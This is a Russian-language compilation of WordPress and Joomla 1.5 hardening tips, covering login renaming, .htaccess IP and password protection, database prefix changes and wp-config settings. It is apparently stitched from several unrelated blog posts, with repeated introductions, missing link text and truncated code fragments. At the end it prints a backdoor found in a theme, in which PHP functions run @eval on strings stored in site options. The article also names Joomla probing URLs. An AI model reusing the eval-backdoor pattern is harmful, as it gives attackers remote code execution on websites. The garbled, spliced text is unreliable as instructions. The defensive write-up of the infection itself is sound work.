Плагин для защиты WordPress от взлома. Как защитить вход в админку WordPress? Примитивные меры и WPS Hide Login Запрет доступа к административной части WordPress

Время на чтение: 4 мин

Еще год назад у меня очень часто нагрузка на сервер превышала предел допустимого по тарифу лимита. При этом проблема была не в самих сайтах, а банальной атаке злоумышленников на админку, с целью получить доступ для каких-то своих целей.

Сегодня я расскажу как справился с проблемой, что советую и вам сделать на всякий случай у себя.

В результате было принято решение сменить адрес формы логина в админку, а так же прикрыть админку для всех посторонних, у кого не мой IP.

Стоит заметить, что некоторые хостинг-компании сами автоматически создали для всех пользователей новый адрес админки. Если вы пользуетесь услугами подобных хостингов, то дальше не читайте статьи и не тратьте время.

Как сменить адрес админки WordPress

Раньше публиковал такую статью . Здесь вроде бы и похожий результат, но эффект и назначение другие.

Не забываем делать резервные копии файлов, с которыми работаем.

  • Для начала скопируем файл wp-login.php из корня сайта (там где лежит wp-config.php) на ftp к себе на компьютер.
  • Переименовываем его как душе угодно. Например vhod.php
  • Открываем этот файл бесплатной программой Notepad++ (или чем вам удобнее редактировать) и подменяем все вхождения фразы wp-login.php на vhod.php .

Сделать это быстро можно нажатием сочетания клавиш CTRL+F в Notepad++. Ну а в появившемся окне вводим:

Вот так за секунду я заменил во всем файле нужное мне вхождение фразы. Попадалось оно 12 раз.

Новый файл закидываем на ftp.

Аналогичную штуку нужно будет провернуть в файле general-template.php , который найдете в папке wp-includes тут же на ftp. Т.е. меняете вхождение фразы wp-login.php на vhod.php , а само название файла не меняете!

Теперь там же в корне сайта у вас есть файл .htaccess . Тоже копируем его к себе на компьютер и открываем на редактирование (можно обычным блокнотом Windows Notepad). Вставляем такой кусок кода, который блокирует доступ всем к файлу wp-login.php

Order Deny,Allow Deny from all

< Files wp - login . php >

Order Deny , Allow

Deny from all

< / Files >

Именно данный шаг снял нагрузку, а так же спрятал форму авторизации. Нагрузка была снята за счет вставки представленного кода в.htaccess: если шло обращение к http://site.ru/wp-login.php, то отдавало 403 ошибку, а не 404.

Повторим кратко алгоритм работы:

  • Переименовываем файл wp-login.php на произвольное имя и подменяем в нем вхождения названия на новое.
  • Аналогично подменяем в файле general-template.php старое название wp-login.php на новое.
  • Прописываем в файле.htaccess запрет к доступу wp-login.php для всех

После обновления WordPress останется поправить только файл general-template.php. Но т.к. обновляется движок не так уж часто - это мелочь по сравнению с эффектом.

Ставим ограничение на вход по IP через.htaccess

В качестве дополнительных мер по защите сайта мною было принято ограничение на вход в админку по IP. Проблема решалась очень просто: создаем пустой файл.htaccess и добавляем в него такой код

order deny,allow allow from 192.168.0.1 deny from all

order deny , allow

allow from 192.168.0.1

deny from all

Файл сохраняем и закидываем в папку wp-admin там же в корне сайта.

Вместо моего IP из примера поставьте свой настоящий. Притом можно добавить несколько IP с новой строки каждый:

order deny,allow allow from 126.142.40.16 allow from 195.234.69.6 deny from all

order deny , allow

allow from 126.142.40.16

allow from 195.234.69.6

deny from all

Если IP динамический, то можете поставить цифры только до первой-второй-третьей точки:

Из статьи вы узнаете:

1. Используйте хороший логин.

Защита сайта на WordPress начинается с элементарного — создания хорошего логина. Устанавливая WordPress, пользователи часто используют логин, который программа установки предлагает по умолчанию, а именно – admin . Это то, что проверяют боты, ищущие дыры в безопасности вашего сайта, в первую очередь. Используя этот логин, вы уже предоставляете половину необходимой информации для хакеров, и им остается только подобрать пароль.

Если вы уже установили платформу и работаете над вашим сайтом, то вряд ли вам захочется удалять установку и начинать всё с чистого листа, чтобы использовать более надежный логин. Выход есть:

Шаг 1 – Создание нового пользователя

Войдите в административную панель WordPress и создайте новую учётную запись с более сложным логином, наделенную полным доступом ко всем функциям сайта, то есть правами администратора.

В главном меню слева выберите Пользователи >> Добавить нового .

Введите всю необходимую информацию для нового пользователя, определив его роль как «Администратор» и нажмите «Добавить нового пользователя» .

Шаг 2 – Удаление пользователя admin

После этого выйдите из системы управления, войдите под новой учетной записью и удалите пользователя admin из системы одним из способов:

Способ 1 – В главном меню слева выберите Пользователи >> Все пользователи . Наведите на имя пользователя admin , и вы увидите функцию «Удалить» .

Способ 2 — В главном меню слева выберите Пользователи >> Все пользователи . Найдите пользователя admin , отметьте его галочкой и из выпадающего меню «Действия» выберите «Удалить» . После этого нажмите на опцию «Применить» под списком пользователей. Эта опция удобна, если вам необходимо удалить сразу несколько пользователей.

Так же вы можете изменить имя пользователя admin через запрос к базе данных:
UPDATE wp_users SET user_login = ‘новый_логин’ WHERE user_login = ‘admin’;

У данного способа есть минус: автор для постов, написанных пользователем admin , не будет изменен. Для того, чтобы это исправить, необходимо сделать еще один запрос к базе данных:
UPDATE wp_posts SET post_author = ‘новый_логин’ WHERE post_author = ‘admin’;

2. Используйте сложный и уникальный пароль.

Защита админки WordPress, конечно, невозможна без сложного хорошего пароля. Важно, чтобы он был уникальным и включал в себя цифры, буквы разных регистров, знаки пунктуации, символы и прочее. Пароли типа: pass, 1q2w3e4r5t6y, 87654321, qwerty, abc123, 111111, 1234, дата вашего рождения и т.д. – не являются надежными, но многие пользователи продолжают их использовать. Пример хорошего пароля: pcVaOF8r39. Конечно, вам сложно будет запомнить такой пароль, но для этого существует ряд программ, которые хранят и генерируют пароли, а также могут быть интегрированы в интерфейс вашего браузера (например, Password Agent, KeyPass, Roboform и т.д.)

Если вы все же хотели бы помнить свои пароли наизусть, рекомендуем создавать комбинированный пароль из хорошо знакомого вам названия/слова с несколькими большими буквами/цифрами в случайных местах и несколькими специальными символами в начале или конце. Такой пароль также будет сложен для подбора, но его будет достаточно легко запомнить.

Не забывайте регулярно обновлять свои пароли.

3. Обновляйте версию WordPress.

WordPress заботится о своих пользователях, и поэтому в административной панели управления вы можете найти уведомления о выходе новой версии. Рекомендуем совершить обновление, как только вы увидите его, поскольку одной из самых распространенных брешей в защищенности вашего сайта является использование устаревшей версии платформы.

4. Скрывайте версию WordPress.

WordPress по умолчанию добавляет номер текущей версии в исходный код своих файлов и страниц. И поскольку довольно часто не всегда удается вовремя обновлять версию WordPress, это может стать слабым местом вашего веб-сайта. Зная, какая у вас версия WordPress, хакер может принести много вреда.

С помощью файла functions.php можно запретить вывод информации о версии вашей платформы. Для этого вам необходимо открыть файл functions.php , расположенный в корневой папке текущей темы вашего веб-сайта (wp-content/themes/текущая_тема_wordpress) , и добавить следующий код:
remove_action(‘wp_head’, ‘wp_generator’);

Или же можно добавить следующий код в файл functions.php :

/* Hide WP version strings from scripts and styles
* @return {string} $src
* @filter script_loader_src
* @filter style_loader_src
*/
function fjarrett_remove_wp_version_strings($src) {
global $wp_version;
parse_str(parse_url($src, PHP_URL_QUERY), $query);
if (!empty($query[‘ver’]) && $query[‘ver’] === $wp_version) {
$src = remove_query_arg(‘ver’, $src);
}
return $src;
}
add_filter(‘script_loader_src’, ‘fjarrett_remove_wp_version_strings’);
add_filter(‘style_loader_src’, ‘fjarrett_remove_wp_version_strings’);

/* Hide WP version strings from generator meta tag */
function wpmudev_remove_version() {
return »;
}
add_filter(‘the_generator’, ‘wpmudev_remove_version’);

Помимо вышесказанного, в папке любой темы WordPress, вы найдете header.php файл. В нём также указывается версия вашей установки, что для хакера является очень интересным, как упоминалось ранее. Удалив следующую строку из файла, вы избавитесь от этой лишней информации:

” />

5. Скачивайте темы и плагины с надежных ресурсов.

WordPress является настолько распространенным, что всё больше разработчиков создают для него готовые темы и плагины. В то время как большинство из них облегчат работу с вашим сайтом и расширят его функциональность, некоторые могут скрывать в себе весьма неприятные последствия в виде вирусов и открывать двери для хакеров. Используйте только проверенные ресурсы для скачивания тем и плагинов, например, wordpress.org , а также обращайте внимание на все появляющиеся предупреждения о вредоносности файлов. Как и в случае с самим WordPress, важно вовремя обновлять плагины до последних версий.

6. Не храните ненужные файлы.

Неактивные расширения могут представлять серьезную угрозу для безопасности вашего сайта. Поэтому смело удаляйте все неиспользуемые плагины и темы. Например, вы устанавливали , чтобы потестировать и выбрать тот, который будете использовать. После выбора не забудьте удалить все ненужные.

7. Регулярно проверяйте свой локальный компьютер на наличие вирусов.

Осуществление различных шагов по обеспечению безопасности сайта на WordPress – это хорошо, но и за компьютером необходимо следить. У вас должен быть установлен постоянно обновляемый антивирус. В противном случае, вы рискуете заразить ваш веб-сайт, загрузив на него вирусные файлы.

8. Делайте резервные копии сайта.

Не все атаки злоумышленников возможно предупредить, но всего лишь одна успешная атака может уничтожить все усилия по работе над вашим сайтом. Советуем делать регулярные резервные копии веб-сайта. Многие хостинговые компании предоставляют опцию серверных резервных копий и в случае чего, вы сможете восстановить сайт из копии, которая доступна на сервере.

Установив плагин WordPress Database Backup, вы дополнительно сможете обезопасить базу данных вашего сайта. Настройки плагина позволяют установить опцию ежедневной отправки резервной копии базы данных на ваш контактный почтовый ящик.

9. Используйте защищенное соединение.

Если вы предпочитаете загружать ваши файлы с помощью FTP-клиента, используйте защищенный протокол соединения к серверу SFTP.

10. Создайте.htaccess файл.

Код, защищающий от хотлинкинга:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?yourdomain\.com/
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpg [L]

Хотлинкинг – это вставка изображения с вашего сервера на чужой сайт\блог. Трафик же при этом идет непосредственно на ваш сервер.

При помощи кода, указанного выше, вы можете заставить сервер проверить, откуда именно пришел запрос: если со страниц вашего веб-сайта, то сервер отдает изображение пользователю без проблем; если же с чужого веб-сайта – то показывает изображение с ошибкой.

11. Измените префикс таблиц базы данных.

Защита WordPress от хакеров также усилится, если убрать первоначальный префикс wp_ — это усложнит поиск для злоумышленников. Рассмотрим несколько способов:

Способ 1 – Подходит для новых установок через Softaculous
Если ваш хостинг-провайдер предоставляет вам возможность использования скрипта Softaculous для установки WordPress, то изменить префикс вы можете во время первоначальной установки: в секции Advanced Options вам необходимо будет внести требуемые изменения.

Способ 2 – Для уже работающих сайтов и свежих установок WordPress
Если ваш WordPress давно установлен и сайт работает, то вы можете поменять префикс с помощью программы phpMyAdmin.

Выберите необходимую базу данных из списка и сделайте следующий запрос к базе данных:

RENAME table `wp_commentmeta` TO `newprefix_commentmeta`;
RENAME table `wp_comments` TO `newprefix_comments`;
RENAME table `wp_links` TO `newprefix_links`;
RENAME table `wp_options` TO `newprefix_options`;
RENAME table `wp_postmeta` TO `newprefix_postmeta`;
RENAME table `wp_posts` TO `newprefix_posts`;
RENAME table `wp_terms` TO `newprefix_terms`;
RENAME table `wp_term_relationships` TO `newprefix_term_relationships`;
RENAME table `wp_term_taxonomy` TO `newprefix_term_taxonomy`;
RENAME table `wp_usermeta` TO `newprefix_usermeta`;
RENAME table `wp_users` TO `newprefix_users`;

где «newprefix_» необходимо заменить на новый префикс, который вы хотите использовать вместо префикса «wp_» .

После этого вы увидите новый префикс в таблицах базы данных:

Чтобы убедиться, что все изменения прошли успешно и префикс wp_ больше не используется в таблице _options и _usermeta , вам необходимо будет сделать еще один запрос к базе данных:

SELECT * FROM `newprefix_options` WHERE `option_name` LIKE ‘%wp_%’

SELECT * FROM `newprefix_usermeta` WHERE `meta_key` LIKE ‘%wp_%’

В результате вы можете найти ряд префиксов, которые вам необходимо будет переименовать вручную с помощью кнопки Изменить :

Количество изменений, которые вам необходимо будет внести, может различаться. Но все префиксы wp_ вы должны изменить на ваш новый префикс для нормального функционирования веб-сайта.

После этого не забудьте также внести изменения префикса в wp-config.php файле:

Вы также можете использовать специальные плагины для изменения префикса базы данных: Change DB prefix или Change table prefix.

12. Ограничивайте количество попыток доступа.

Чаще всего злоумышленники делают огромное количество попыток входа на ваш сайт, подбирая пароль. Вы можете настроить систему таким образом, чтобы IP-адрес был заблокирован на несколько часов после определенного количества неудавшихся попыток входа.

Для этого вы можете использовать дополнительные плагины, например, Login LockDown или Limit Login Attempts. В настройках этих плагинов, вы можете самостоятельно установить количество попыток входа и время блокировки.

Дополнительно существует возможность убрать отображение сообщения о том, что введенный логин и пароль неверен. Ведь это тоже информация, которая может помочь злоумышленнику.

Чтобы убрать вывод этого сообщения, необходимо открыть файл functions.php , расположенный в папке текущей темы вашего веб-сайта (wp-content/themes/текущая_тема_WordPress) и добавить такой код:
add_filter(‘login_errors’,create_function(‘$a’, «return null;»));

13. Удалите readme.html и license.txt.

Файлы readme.html и license.txt присутствуют в корневой папке любой установки WordPress. Вам эти файлы ни к чему, а хакерам они могут облечить их злодеяния. Например, чтобы выяснить текущую версию вашего WordPress и много чего другого полезного для взлома веб-сайта. Рекомендуем удалить их сразу же после установки WordPress.

14. Используйте SSL-сертификат.

Для передачи защищенной информации и конфиденциальности обмена данными, рекомендуем использовать SSL-протокол. Особенно это актуально для интернет-магазинов, если вы не хотите, чтобы личные данные о ваших клиентах передавалась незащищенным путем.

Прежде всего вам необходимо будет и установить его для вашего доменного имени.

После этого вы сможете установить обязательное использование SSL-протокола при входе в панель управления вашим сайтом. Для этого откройте wp-config.php файл, расположенный в корневой папке вашего веб-сайта, и добавьте следующую строку:
define(‘FORCE_SSL_ADMIN’, true);

15. Измените файл wp-config.php.

Добавив такой код в wp-config.php файл, вы так же сможете укрепить защиту вашего веб-сайта:

Ограничение на изменения темы и плагинов:
define(‘DISALLOW_FILE_EDIT’, true);

Отключение возможности установки и удаления плагинов:
define(‘DISALLOW_FILE_MODS’, true);

Добавление salt-ключей или так называемых ключей безопасности: сначала необходимо будет найти такие строки в wp-config.php файле:

Вы увидите, что ключи уже установлены и их можно поменять. Либо вы увидите строки такого типа: ‘put your unique phrase here’, что говорит о том, что ключи пока не установлены:
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define(‘AUTH_KEY’, ‘put your unique phrase here’);
define(‘SECURE_AUTH_KEY’, ‘put your unique phrase here’);
define(‘LOGGED_IN_KEY’, ‘put your unique phrase here’);
define(‘NONCE_KEY’, ‘put your unique phrase here’);
define(‘AUTH_SALT’, ‘put your unique phrase here’);
define(‘SECURE_AUTH_SALT’, ‘put your unique phrase here’);
define(‘LOGGED_IN_SALT’, ‘put your unique phrase here’);
define(‘NONCE_SALT’, ‘put your unique phrase here’);

О некоторых плагинах хочется упомянуть отдельно:

Это плагин безопасности WordPress, который позволяет сканировать ваш веб-сайт с целью поисков вредоносного кода, брешей и лазеек, оставленных хакерами, показывая аналитику сайта и трафика в реальном времени. Также существует возможность настройки автоматического сканирования и многое другое.

Этот плагин проверяет ваш веб-сайт на различные уязвимости в безопасности и предлагает ряд методов по их устранению. Например, пароли, разные права доступа к файлам, защита баз данных, защита информации о версии WordPress, защита администратора и прочее.

Этот плагин позволяет обезопасить пользовательские аккаунты и логины, базы данных и файловую систему, предотвратить брутфорс атаки (атаки, связанные с подбором пароля), сканировать сайт и прочее.

Как бы грустно это ни звучало, но защита WordPress — вещь сложная, и описанные в этой статье способы не гарантируют на 100%, что ваш сайт будет полностью защищен от каких-либо действий мошенников. Однако, пренебрегать ими не стоит, так как они значительно уменьшат возможность взлома сайта злоумышленниками.

Админ-часть является наиболее уязвимой из всех разделов сайта. Так, попав сюда, злоумышленник получает полный доступ ко всему сайту и может делать все, что ему заблагорассудится (от простого сообщения, что сайт взломан, и до частичного нарушения работы или полного удаления контента).

Зачем защищать админку?

Часто владельцы сайтов не придают особого значения защите админки, о чем потом жалеют, когда становятся жертвами взлома. WordPress, в силу своих открытости и популярности во всем мире, находится под пристальным вниманием хакеров. Конечно, разработчики движка довольно оперативно исправляют найденные ошибки безопасности, но также быстро и находятся новые, от которых можно пострадать, пока они не будут исправлены.

Способы защиты

Существует ряд мер, приняв которые, Вы сможете на достойном уровне обезопасить Ваш сайт от недобросовестного влияния.

Выбираем правильные логин/пароль администратора

Самый первый шаг к защите – это правильные логин и пароль администратора. Крайне не рекомендуется использовать в качестве имени пользователя типа admin или administrator . Если у Вас уже создан админ-пользователь с “нежелательным” именем, то достаточно будет просто . Не забудьте потом удалить пользователя admin или administrator .

Пароль должен быть от 8 до 10 символов и включать как строчные/прописные буквы, так и цифры, а также другие символы (точка с запятой, знаки вопроса/восклицания и др.)

Изменяем адрес админ-панели

По умолчанию, в WordPress для входа в административную панель используются адреса:

Http://site.ru/wp-admin/ http://site.ru/wp-login.php

В силу популярности движка, эти адреса довольно сильно подвержены атакам. Для обеспечения безопасности всего сайта их следует изменить на те, которые будете знать только Вы. Для этого существует довольно простой в управлении плагин . Благодаря ему, Вы можете сами задать, по какому адресу будете получать доступ в админ-панель.

Устанавливаем дополнительную форму авторизации через.htaccess

Файл .htaccess отвечает за настройку веб-сервера Apache и дает возможность конфигурировать работу сервера в директориях Вашего сайта (например, менять название индексных файлов, устанавливать права доступа к файлам/каталогам, выполнять редиректы). В данном случае файл установит дополнительную форму ввода логина и пароля перед тем, как попасть на авторизацию в админку. С примерами, установкой и настройкой файла .htaccess Вы можете ознакомится по .

Защита админ-панели от перебора паролей

Еще одна важная деталь защиты админки – ограничение количества ввода пароля. Так, если злоумышленник все-таки дошел до формы входа на сайт и пытается подобрать пароль, то логично будет после нескольких неудачных попыток его заблокировать. Для этого можно воспользоваться специальными плагинами. Одним из таких является плагин Limit Login Attempts . Для активации защиты плагин достаточно установить и активировать.

Итоги

Приняв вышеуказанный ряд мер, Вы сможете защитить свою админку от большинства возможных уязвимостей: теперь злоумышленнику ее сложнее будет обнаружить и подобрать к ней логин/пароль. Конечно, это не гарантирует Вам 100% защиты, так как всегда находятся новые уязвимости, нарушающие работу сайта. Но если не делать никаких шагов в сторону безопасности, то вероятность сбоя во много раз возрастает.

Здравствуйте, уважаемые читатели блога сайт. Сегодня хочу поговорить про безопасность работы и некоторые методы защиты сайта от взлома. К сожалению, я не являюсь экспертом в этой области и мои познания мало выходят за рамки статьи про , но я просто опишу свой недавний опыт. Ничего сложно я не использовал, но надеюсь, что это повысит безопасность работы с моими сайтами.

Речь пойдет о двойной аутентификации для входа в админпанель движка вашего сайта (работать должно на любых CMS, но лично я проверял только на WordPress и Joomla). Защита ставится на уровне сервера, поэтом все попытки подбора пароля к админке (брутфорса) не будут создавать повышенный нагрузки на хостинг и обойти ее довольно сложно. Ставится она легко (буквально в несколько действий) и из всех познаний требует только внимательности и умения получать доступ к сайту по ФТП.

Ну и также приведу пару действий, которые я применил к сайтам на уже морально устаревших движках Joomla 1.5, которые мне нет особого смысла переносить на , но которые у меня постоянно ломают и используют сервер для рассылки спама. Описанные действия я произвел недавно, поэтому не могу констатировать факт прекращения заражения сайтов вирусами, но на это надеюсь. В общем, я попробовал чуток повысить взломоустойчивость Joomla 1.5 .

Как защитить Joomla 1.5 от взлома и проникновения вирусов

Как я уже упомянул выше, проблема заключается в постоянных взломах двух моих сайтов, которые работают под управлением Joomla 1.5. Можно считать их заброшенными, ибо новые материалы я на них не добавляю, но они исправно приносят доход (с размещения статей из Миралинкса и Вебартекса , а также ссылок с Гогетлинкса). В общем, выбросить их жалко, а переводить на новую версию движка «в лом» (жалко потраченного времени и сил).

Остается либо постоянно мониторить нагрузку на сервер и при ее повышении искать среди файлов движков шелы и прочих зловредов, либо каким-то образом усиливать защиту. Для поиска зловредов я выкачиваю файлы движка на компьютер и проверяю их ДокторомВебом и Айболитом. Первый находит далеко не все, а последний видит врага слишком часто там, где его нет, но каких-то других эффективных способов я не знаю. Хотя, есть еще и в десятках программ, но это уже кому как удобнее.

Кстати, скрипт Айболит умеет работать не только на сервере, но и прямо на компьютере в папке с скачанными файлами движка (штатный антивирус только не забудьте отключить при скачивании сайта, ибо он может часть файлов почикать, а на сервере-то они все равно останутся).

Подробная инструкция приведена в расположенном ниже ролике, а если говорить кратко, то вы скачиваете с сайта Майкрософта интерпретатор языка PHP и устанавливаете его. После чего файл скрипта Айболита под названием ai-bolit.php открываете именно с помощью этого самого интерпретатора:

Скорость сканирования зависит от быстродействия вашего компьютера и количества файлов в движке вашего сайта. У меня это заняло несколько часов для https://сайт, ибо даже картинки «Айболит» подозревает в сокрытии вирусов, а этих самых картинок у меня куча, да и файлы кеша много времени отнимают при сканирования. Для сайтов на Joomla 1.5 проверка проходила намного быстрее.

Решил потратить день для поиска пути повышения безопасности сайтов. Сделать удалось совсем немного, но все же лучше, чем ничего. Давайте начнем с укрепления защиты (со снижения уязвимости) двух сайтов на Joomla 1.5 . Было сделано следующее:


Как еще защитить Joomla 1.5 от вирусов и потоковых взломов

  1. Также «специалисты» уверяют, что сайты на Joomla 1.5 ломают «на раз-два» путем использования имеющейся в движке (через нее якобы можно сменить пароль админа). Даже если вы регистрацию на своем сайте не используете и ссылку на восстановление нигде не выводите, то это не значит, что эту уязвимость вы прикрыли. Просто добавьте следующий фрагмент к урлу главной страницы своего сайта и получите искомую возможность: /index.php?option=com_user&view=reset

    Собственно, для закрытия этой лазейки (но вот как ей воспользоваться для взлома я так и не понял) можно просто удалить такой вот файлик:

    /components/com_user/models/reset.php Правда после этого никто из зарегистрированных у вас на сайте пользователей воспользоваться функцией восстановления паролей не сможет, но для меня это было не важно, ибо регистрации предусмотрено не было.

  2. А еще говорят, что такая полезная шняга, как с помощью добавления к адресу страницы, тоже позволяет писателям вирусов и охотникам до чужого добра добраться-таки до каких-то чувствительных зон вашего сайта и внести в него деструктив, либо как-то по другому над ним надругаться. Штука эта опять же убирается путем правки одного из файлов движка. /libraries/Joomla/application/module/helper.php

    Там нужно удалить два фрагмента кода, или закомментировать, заключив их в /* и */ (этот код не будет выполняться интерпретатором языка). Первый фрагмент такой:

    If(count($result) == 0) { if(JRequest::getBool("tp")) { $result = JModuleHelper::getModule("mod_".$position); $result->title = $position; $result->content = $position; $result->position = $position; } }

    А второй такой:

    If(JRequest::getBool("tp")) { $attribs["style"] .= " outline"; }

    Собственно, после этого сбрасываете кеш и пытаетесь просмотреть позиции модулей в вашем шаблоне с помощью такой вот конструкции:

    Https://сайт/?tp=1

    Ежели не получилось, то вы эту дыру, будем надеяться, закрыли.

  3. Очень часто взламывают сайты не снаружи, а изнутри. Трояны и кейлогены на вашем компе знают, что и где искать, поэтому не храните пароли в ФТП клиентах (есть вариант использовать для этого дела).Еще круче считается — отключить возможность доступа к вашему сайту по ФТП, а вместо этого, где передаваемая информация (в том числе и пароли) шифруется, что делает бесполезным ее перехват. Я, если честно, последним советом пренебрегаю по причине своей «темности». Еще есть вариант настройки доступа к вашему сайту по обычному ФТП только с определенного IP адреса (вашего компьютера), но у моего интернет-провайдера IP динамический (меняется в определенном диапазоне).
  4. Также советуют движка не выше тех, которые реально требуются для его работы. На самом деле, я особо не думая поставил по шаблону:755 на папки и 644 на файлы. можно все с помощью той же Файлзилы. Причем указанные права нужно применять не только для каталогов корневой папки, но и для всех каталогов и файлов, которые лежат внутри них.

    На файлы в корневой папке я поставил права 444, а на каталоги tmp и logs — 705. Можно было бы, конечно, и более жестко «зажать», но у меня в этом нет особого опыта, а тратить время на эксперименты было некогда. Да и к тому же все это не шибко-то серьезно сдержит хакеров, ибо существуют, что все наши старания может свести на нет. Для этого используют подобные команды:

    Поэтому для полного «бетонирования» файлов движка Joomla 1.5 от взлома и посягательств нужно запретить на выполнение смену прав доступа к файлам и папкам через PHP. Делается это в настройках сервера, но я пока не знаю как и где. Если знаете, то киньте ссылочку.

  5. Все вышесказанное призвано снизить вероятность взлома вашего сайта и проникновения на него шелов и прочих зловредов. Однако, предпринятые меры предосторожности не дают гарантии, поэтому было бы замечательно на сервере (где живет ваш сайт на Joomla 1.5) . Это позволит снять весь негатив от просочившейся нечести. Однако, лично я опять же это еще не осуществил по причинам свой «темности». Буду признателен за ссылки на поясняющие сей процесс материалы.
  6. Очень часто ломают сайты, получив доступ к административной панели. Понятно, что она защищена паролем, поэтому методом брутфорса (умного подбора) многие, даже казалось бы сложные пароли ломают на раз-два. Поэтому админку тоже нужно защищать , и лучше это делать не с помощью дополнительных расширений, а именно средствами сервера. Вариантов защиты существует несколько. Например, можно изменить тем или иным образом Урл адрес админки, чтобы взломщик не мог бы начать свое грязное дело.

    Другой метод защиты, который будет в подробностях описан ниже, заключается в создании дополнительной преграды на пути взломщика (живого человека или скрипта). Заключается он в запароливании директории с файлами админки (в Joomla это папка administrator, а в WordPress — wp-admin) средствами веб-сервера. Получается, что при обращении к админке сначала нужно будет ввести логин и пароль для доступа к папке, а уже потом логин и пароль для доступа, собственно, к админке движка. Причем, ломая первый рубеж обороны методами брутфорса, зловред не будет создавать сколь-нибудь значимой дополнительной нагрузки на сервер, что есть хорошо.

  7. Еще одним очень важным, на мой взгляд, замечанием по повышению защищенности ваших сайтов от вломов и заражения вирусами является соблюдение правила: одни сайт — одни аккаунт на хостинге . Да, это дороже, но намного безопаснее. При размещение на одном аккаунте, сразу все ваши сайты будут доступны по ФТП при получении доступа зловреда лишь к одному из них. Ломают сайты на автомате, и надеяться на то, что скрипты не пойдут вверх по дереву каталогов, было бы не разумно. К тому же, лечить пачку сайтов на одном акке хостинга очень тяжело, ибо занимаясь одним сайтом вы упускаете из вида уже вылеченный, который в это время заражают.
  8. Ломать, кстати, могут не только с вашего же сайта, но и с сайта вашего соседа по хостингу, если владельцы должным образом не позаботились об исключении этой возможности. Могут взломать и панель хостинга (типа, ), но в любом случае число взломов по вине хостера мизерно по сравнения с числом взломов по виде беспечности владельцев сайтов.

Как защитить админку своего сайта от взлома?

Я хочу в деталях рассказать о том методе защиты, который совсем недавно использовал сам. Заключается он в запрете доступа к папкам, где лежат файлы административной панели сайта . Запрет устанавливается с помощью замечательного файлика.htaccess, который, по сути, позволяет дистанционно управлять настройками вебсервера, на котором установлен ваш сайт. При этом он умеет делать это избирательно.

Все директивы, прописанные в.htaccess, будут распространяться исключительно только на тот каталог, внутри которого он находится. Хотите что-то изменить в настройках применительно ко всему сайту? Помещайте тогда.htaccess в корневую папку. Ну, а нас интересуют настройки касательно только папки с файлами админки, поэтому мы его туда и поместим. В Joomla это будет папка administrator, в в WordPress — wp-admin.

Однако, одним.htaccess нам не обойтись. Придется задействовать еще и.htpasswd, где будет храниться логин и пароль для доступа к этой самой административной папке. Причем пароль будет храниться не в открытом виде, а в виде MD5 шифра. Восстановить по нему пароль не получится, но зато при вводе правильной комбинации в поле пароля, веб-сервер посчитает для этой комбинации MD5 сумму и сравнит с тем, что хранится в.htpasswd. Если данные совпадут, то вас пустят в админку Joomla или WordPress, а если нет, то не пустят.

Вот и все, осталось только воплотить намеченное в жизнь. Нужно ведь какие-то директивы в.htaccess добавить. Вы знаете какие? Я не знаю. Да и как-то нужно будет пароль перегнать в MD5 последовательность. Проблема. Однако, она имеет довольно простое решение. Добрые люди организовали онлайн-сервис по генерации содержимого для файла.htaccess и файла.htpasswd на основе придуманных вами логина и пароля. Правда, придется еще и абсолютный путь до административной папки указать, но это уже мелочи.

Итак, встречайте — великий и ужасный генератор защиты для админки вашего сайта . Понятно, да? Придумываете, а лучше всего на каком-нибудь создаете две сложнейших комбинации букв, цифр и знаков, после чего их вводите в два верхних поля. Записать их только не забудьте, или в менеджер паролей запихнуть, иначе сами в админку войти не сможете и придется все описанное в этой части начинать делать заново.

Вот, теперича. Знаете такой? Даже если не знаете, не беда. Подключаетесь к сайту по ФТП, создаете в его корне файлик с любым названием (да хоть с таким url_path.php) и добавляете в него такой вот простой код:

"; echo "Полный путь к скрипту и его имя: ".$_SERVER["SCRIPT_FILENAME"]."
"; echo "Имя скрипта: ".$_SERVER["SCRIPT_NAME"]; ?>

Потом заходите в браузер и вводите в адресную строку вот такой вот Урл (с вашим доменом, конечно же):

Https://сайт/url_path.php

В результате увидите тот самый интересовавший вас абсолютный путь. Вводите его в указанном выше генераторе файлов.htaccess и.htpasswd. Не забудьте добавить в конце этого пути название папки administrator или wp-admin без слеша на конце. Все, теперь жмете по кнопочке «Сгенерировать»

И по очереди переносите содержимое для файлов.htaccess и.htpasswd непосредственно в эти самые файлы.

Надеюсь, что вы их уже создали в папках administrator или wp-admin (в зависимости от используемого вами движка)?

Ну, а теперь уже пробуйте зайти в админку. Появляется окно с предложением ввести логин и пароль от вашего веб-сервера? В разных браузерах оно отрисовывается по разному, но в Хроме оно выглядит так:

Если что-то не клеится, то «курите» абсолютный путь до.htpasswd, прописанный в файле.htaccess. В этом случае просто вручную его поправьте при редактировании файла. Вот и все, что я хотел вам сегодня рассказать. Если хотите поругать или что-то добавить, то в путь.

Вирус в WordPress?

Уже после написания этой статьи обнаружил на своем блоге (https://сайт) зловреда (или что-то такое, что установилось в обход моей воли). Я просто хотел что-то там поменять в коде и залез в . В самом его низу, непосредственно перед тегом Body, мне бросился в глаза вызов какой-то незнакомой мне функции ( по ее названию, но ничего путного не обнаружил):

Название вроде бы вменяемое. Примечательно, что недели за три до этого я случайно обнаружил, что у меня появилась новая таблица в базах данных двух моих блогов на WordPress (https://сайт и еще одного). Название у нее было просто замечательное — wp-config. Гугление по этому названию опять ничего путного не дало, ибо все ответы были связаны с одноименным файлом wp-config.php.

Таблица эта здорово быстро росла в размерах (до сотни мегабайт на https://сайт) и в нее писались адреса страниц моего сайта с различными параметрами. Не поняв сути сего процесса, я просто снес эту таблицу и все. Кстати, у меня есть еще один блог на WordPress, но там ничего подобного не наблюдалось.

Ну, а вот тут обнаружил такую «говорящую» вставку в тему. Решил и поглядеть, не добавилось ли там чего-то созвучного с описанной выше строчкой внизу футера. Оказалось, что добавилось. Причем так аккуратненько — ни в самом верху, ни в самом низу, а второй (или третьей) сверху вписанной функцией:

Function wp_custom_page_links_return() { $option = get_option("wp_custom_page_links"); @eval($option); } @eval(get_option("wp_brlinks"));

